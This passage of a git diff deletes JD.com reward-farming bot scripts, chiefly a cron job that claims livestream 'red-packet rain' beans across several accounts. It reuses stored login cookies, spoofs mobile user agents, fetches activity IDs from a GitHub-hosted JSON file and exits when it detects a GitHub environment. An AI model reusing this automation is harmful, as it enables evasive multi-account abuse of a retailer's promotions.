"JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)", - "Accept-Language": "zh-Hans-CN;q=1", - "Accept-Encoding": "gzip, deflate, br" - } - } -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${encodeURIComponent(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}&uuid=${uuid}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - 'Content-Type': 'application/x-www-form-urlencoded', - "Cookie": cookie, - "Origin": "https://cfe.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Referer": "https://cfe.m.jd.com/privatedomain/live-boborock/20210809/index.html", - "Accept-Language": "zh-cn", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function randomString(e) { - let t = "0123456789abcdef" - if (e == 16) { - t = "0123456789abcdefghijklmnopqrstuvwxyz" - } - e = e || 32; - let a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live_redrain.js b/jd_live_redrain.js deleted file mode 100644 index 009b46039..000000000 --- a/jd_live_redrain.js +++ /dev/null @@ -1,356 +0,0 @@ -/* -超级直播间红包雨 -更新时间:2021-06-24 -下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#超级直播间红包雨 -0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -==============Loon============== -[Script] -cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 -================Surge=============== -超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js -===============小火箭========== -超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true -*/ -const $ = new Env('超级直播间红包雨'); -let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; -let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} -let ids = {} -for (let i = 0; i < 24; i++) { - ids[i] = id; -} -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') - $.newAcids = []; - await getRedRain(); - - let nowTs = new Date().getTime() - if (!($.st <= nowTs && nowTs < $.ed)) { - $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); - $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - let hour = (new Date().getUTCHours() + 8) % 24; - let redIds = await getRedRainIds(); - if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); - $.newAcids = [...(redIds || [])]; - if ($.newAcids && $.newAcids.length) { - $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) - } else { - $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) - return - } - // if (ids[hour]) { - // $.activityId = ids[hour] - // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) - // } else { - // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) - // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) - // return - // } - } else { - $.log(`远程红包雨配置获取成功`) - } - for (let id of $.newAcids) { - // $.activityId = id; - if (!id) continue; - console.log(`\n今日${new Date().getHours()}点ID:${id - }\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 - // console.log(nowTs, $.startTime, $.endTime) - // await showMsg(); - if (id) await receiveRedRain(id); - } - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); - $.msg($.name, '', allMessage); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function getRedRain() { - let body - if (bodyList.hasOwnProperty(new Date().getDate())) { - body = bodyList[new Date().getDate()] - } else { - return - } - return new Promise(resolve => { - $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.iconArea) { - // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) - let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] - if (act) { - let url = act.data.activityUrl - $.activityId = url.substr(url.indexOf("id=") + 3); - $.newAcids.push($.activityId); - $.st = act.startTime - $.ed = act.endTime - console.log($.activityId) - - console.log(`下一场红包雨开始时间:${new Date($.st)}`) - console.log(`下一场红包雨结束时间:${new Date($.ed)}`) - } else { - console.log(`\n暂无超级直播间红包雨`) - } - } else { - console.log(`\n暂无超级直播间红包雨`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function receiveRedRain(actId) { - return new Promise(resolve => { - const body = { actId }; - $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === '0') { - console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) - // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` - message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` - allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; - } else if (data.subCode === '8') { - console.log(`领取失败:本场已领过`) - message += `领取失败,本场已领过`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskGetUrl(url, body) { - return { - url: url, - body: body, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl(function_id, body = body) { - return { - url: `https://api.m.jd.com/client.action?functionId=${function_id}`, - body: body, - headers: { - 'Host': 'api.m.jd.com', - 'content-type': 'application/x-www-form-urlencoded', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - //"Cookie": cookie, - } - } -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, - "Cookie": cookie, - "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" - } - } -} - -function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000) - resolve([]); - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return 